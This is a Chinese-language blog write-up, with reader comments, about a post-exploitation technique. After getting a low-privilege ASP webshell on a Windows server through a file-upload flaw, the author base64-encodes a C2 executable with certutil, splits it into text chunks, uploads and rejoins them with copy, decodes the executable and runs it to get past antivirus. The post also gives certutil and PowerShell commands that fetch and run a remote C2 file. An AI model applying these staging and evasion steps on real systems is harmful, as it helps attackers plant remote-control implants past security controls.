0# 概述
在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。
最近团队师傅找到我,想要让我帮忙提权一个站点,正好用上了这个骚操作,看网上好像都没有人记录这个手法,这边就浅浅记录一下,希望能帮助到屏幕前面的你。
1# 情况描述
通过某供应商服务系统的文件任意上传1day,上传了一个哥斯拉(Godzilla
)的Asp马,并成功连接上了WebShell,但是权限很低很低:
- WebShell连接方式:直接连接IP:端口的,中间不可能有WAF存在(有些人真的扯)
- 目标系统:Microsoft Windows Server 2016 Datacenter
- whoami:
iis apppool\*****scm4
- 文件管理情况:WebShell只能上传写入TXT和图片类型文件,且大文件无法上传、移动和删除 (注意!!!服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)
- 命令使用情况:无法使用PowerShell和其他高危指令
- 杀软情况:Microsoft Security Essentials(
MsMpEng.exe
)/火绒(usysdiag.exe
)/Microsoft Internet Security(MSASCui.exe
) - 网络连接情况:目标系统对外只能访问白名单URL,不在白名单没法访问
我尝试通过WebShell更换目录上传EXE,甚至上传一个HelloWorld的EXE文件,都无法上传,这个情况我也是第一次碰到,后面要好好再分析一下原因。
2# 情况分析
通常来说,在红蓝攻防中Web打点成功后,一般会上传C2并上线清理入侵痕迹,然后再去搜索敏感文件以及对内网资产进行探查。
上传C2到服务器一般有以下操作(针对Win):
- 通过WebShell上传C2文件并执行
- 通过
Certutil
远程下载C2文件并执行 - 通过
PowerShell
远程下载C2文件并执行
通过 Certutil
远程下载C2文件并执行
certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数
通过 PowerShell
远程下载C2文件并执行
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数
但我们目前的情况,虽然Web打点成功了,但是没办法写入或者下载C2进行上线(测试过了,几种文件远程下载的指令都被杀软拦截或者被系统屏蔽了),WebShell也没办法上传C2可执行文件 (服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)
这种情况,上线C2都基本不可能了,更别说提权和内网渗透了
3# C2上传执行骚姿势
综上所述,这个权限已经是很低很低了,但不慌,我们看看有什么办法能突破
首先我们先要了解一个Windows系统的自带工具:Certutil
微软官方是这样对它解释的:
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。
您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
但是此合法Windows服务,现已被广泛滥用于恶意用途
很多人只知道可以通过 Certutil
进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)
那我就通过本次实战案例,给大家演示一下整个ByPass过程:
3.1 加密C2可执行文件
首先,准备好C2可执行文件,通过 Certutil
进行加密导出
Certutil -encode C2可执行文件名.exe out.txt
可以打开导出的TXT,看到文件有如下特征:
-----BEGIN CERTIFICATE-----
加密后的内容
-----END CERTIFICATE-----
3.2 切割TXT文件上传并拼接、解密
因为上面说了,太大的文件没办法通过WebShell上传写入,于是让我们测试一下极限:
先试试2000行能否写入:
2000行的数据写入是没问题的,那3000行呢?
看,保存失败了,所以我们要将TXT切割后上传再拼接
随便去网上下载一个TXT切割器,如下:
好机会,切割出67个TXT,在服务器上新建一个文件夹,全部上传上去:
再使用 copy
命令进行拼接:
copy 1.txt + 2.txt + 3.txt + 4.txt + 5.txt + 6.txt + 7.txt + 8.txt + 9.txt + 10.txt out10.txt //out10.txt:合并1~10的前十个文件
copy 11.txt + 12.txt + 13.txt + 14.txt + 15.txt + 16.txt + 17.txt + 18.txt + 19.txt + 20.txt out20.txt //out20.txt:合并11~20的前十个文件
//如此往复,按照10个每组合并完成
注意:这里不能用通配符(*.txt)进行 copy
,因为这样会打乱文件顺序,就解密不了了
因为怕出错,我每10个文件 copy
一下,然后可以生成以下文件:
确认无误后,再用 copy
命令再合并一次:
copy out10.txt + out20.txt + out30.txt + out40.txt + out50.txt + out60.txt + out67.txt output.txt //合并总的文件
最后输出 output.txt
用 Certutil
进行解密操作即可:
Certutil -decode output.txt C2可执行文件名.exe
3.3 执行C2文件上线机器
上面已经成功将C2可执行文件解密出来了,然后执行上线即可:
4# 总结
很多时候,虽然看似“山穷水尽疑无路”,但仔细钻研,还是能“柳暗花明又一村”,有时候换个思路,可能就可以突破目前的困境。
在后渗透过程中, Certutil
虽然可以进行远程下载文件(但会被杀软拦截),但它还能加密和解密本地文件(不会报毒,可以用来ByPassAV),这种思路在后渗透阶段还是值得学习和深入拓展的
在本次实战情况下,面对苛刻的服务器条件,虽然没搞明白是如何做到让我无法通过WebShell上传EXE的,但是通过 Certutil
的加密解密机制,还是成功写入了C2可执行文件并上线提权,这不妨也是一种收获。
你在哥斯拉shell设置那里可以修改大文件上传的单次上传字节,asp设置10k或20k没有问题
emmmm这个哥斯拉我已经设置过了,还是上传失败
我还尝试过上传ASP大马,然后用ASP大马直接来上传文件,还是不行
这是哪款c2,看着挺好,有名字吗,我去了接一下
这个是斗像科技这家公司开发的渗透框架DayBreak
官网地址:https://daybreak.tophant.com/home
在官网上申请,一般2~3天会给你通过下发License的
这是哪款c2,求告知
这个是斗像科技这家公司开发的渗透框架DayBreak
官网地址:https://daybreak.tophant.com/home
在官网上申请,一般2~3天会给你通过下发License的
emmmm 原来还可以这样,师傅厉害。
多年前用过这种方法,还包括用 burp intruder 自动化分片上传。但是不幸的是,合并之后解码那一步,直接被杀软以 lolbins 行为杀 kill 了。
是的,目前在苛刻环境下,这种方式基本会被拦截,但还是有拓展空间,本篇碰到的这种情况刚好能用,就记录一下哈哈~本文仅提供一个思路,具体场景还是要看实际环境。
LOLBins全称为“Living-Off-the-Land Binaries”,指的是在目标操作系统上运行受信任的合法进程来执行恶意活动,例如横向移动、权限提升和远程控制等。比如常见的Powershell.exe、Certutil.exe和Mshta.exe等程序,都属于LOLBins范畴。
重温一下,太骚了师傅
哈哈,感谢师傅的认可和支持